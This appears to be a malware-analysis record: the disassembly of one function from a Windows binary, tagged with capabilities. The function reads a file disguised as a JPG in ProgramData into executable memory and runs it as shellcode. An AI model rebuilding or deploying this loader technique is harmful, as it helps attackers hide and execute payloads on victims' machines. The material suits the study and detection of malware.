Function at 0x100020e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001afd5
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x10026040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x50]
push 0x22
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
push str.C:ProgramDataMicrosoftMFMi.jpg
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x3c], 0
call fcn.100028f0
push 0
push 0x80
push 3
push 0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0xf
push 0
cmova eax, dword [ebp - 0x50]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x2c], esi
cmp esi, 0xffffffff
je 0x1000235b
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0xf
jbe 0x100021a7
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000219d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002376
push ecx
push edx
call fcn.1000523e
add esp, 8
push 0
push esi
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000237b
xor ecx, ecx
mov dword [ebp - 0x20], 0
xor edx, edx
xorps xmm0, xmm0
xor eax, eax
movq qword [ebp - 0x28], xmm0
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x30], eax
test edi, edi
je 0x10002267
cmp edi, 0x7fffffff
ja 0x10002396
cmp edi, 0x1000
jb 0x10002232
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x1000239b
push eax
call fcn.1000526f
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x10002376
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x1000223b
push edi
call fcn.1000526f
add esp, 4
push edi
lea edx, [eax + edi]
mov dword [ebp - 0x30], eax
push 0
push eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x20], edx
call fcn.10006e70
mov ecx, dword [ebp - 0x30]
add esp, 0xc
mov edx, dword [ebp - 0x34]
mov eax, ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x30], ecx
sub edx, eax
mov byte [ebp - 4], 4
push 0
lea eax, [ebp - 0x18]
mov dword [ebp - 0x34], edx
push eax
push edx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100023bb
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x18], eax
jne 0x100023bb
push 0x40
push 0x3000
push edi
xorps xmm0, xmm0
push 0
movlpd qword [ebp - 0x1c], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x100023a0
mov dword [ebp - 0x18], edi
push dword [ebp - 0x34]
mov byte [ebp - 4], 5
mov edi, dword [ebp - 0x30]
push edi
push eax
call fcn.100068d0
add esp, 0xc
call dword [ebp - 0x1c]
push 0x8000
push 0
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
test edi, edi
je 0x1000230d
mov ecx, dword [ebp - 0x38]
sub ecx, edi
cmp ecx, 0x1000
jb 0x10002303
mov edx, dword [edi - 4]
add ecx, 0x23
sub edi, edx
lea eax, [edi - 4]
cmp eax, 0x1f
ja 0x10002376
mov edi, edx
push ecx
push edi
call fcn.1000523e
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1000233d
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10005230
mov esp, ebp
pop ebp
ret 4
push str.Failed_to_open_file.
lea ecx, [ebp - 0x60]
call fcn.10001280
push 0x10024b78
lea eax, [ebp - 0x60]
push eax
call fcn.1000685e
call fcn.10009f8a
push str.Failed_to_get_file_size.
lea ecx, [ebp - 0x6c]
call fcn.10001280
push 0x10024b78
lea eax, [ebp - 0x6c]
push eax
call fcn.1000685e
call fcn.100031f0
call fcn.100011d0
push str.Failed_to_allocate_executable_memory.
lea ecx, [ebp - 0x78]
call fcn.10001280
push 0x10024b78
lea eax, [ebp - 0x78]
push eax
call fcn.1000685e
push str.Failed_to_read_file.
lea ecx, [ebp - 0x84]
call fcn.10001280
push 0x10024b78
lea eax, [ebp - 0x84]
push eax
call fcn.1000685e
int3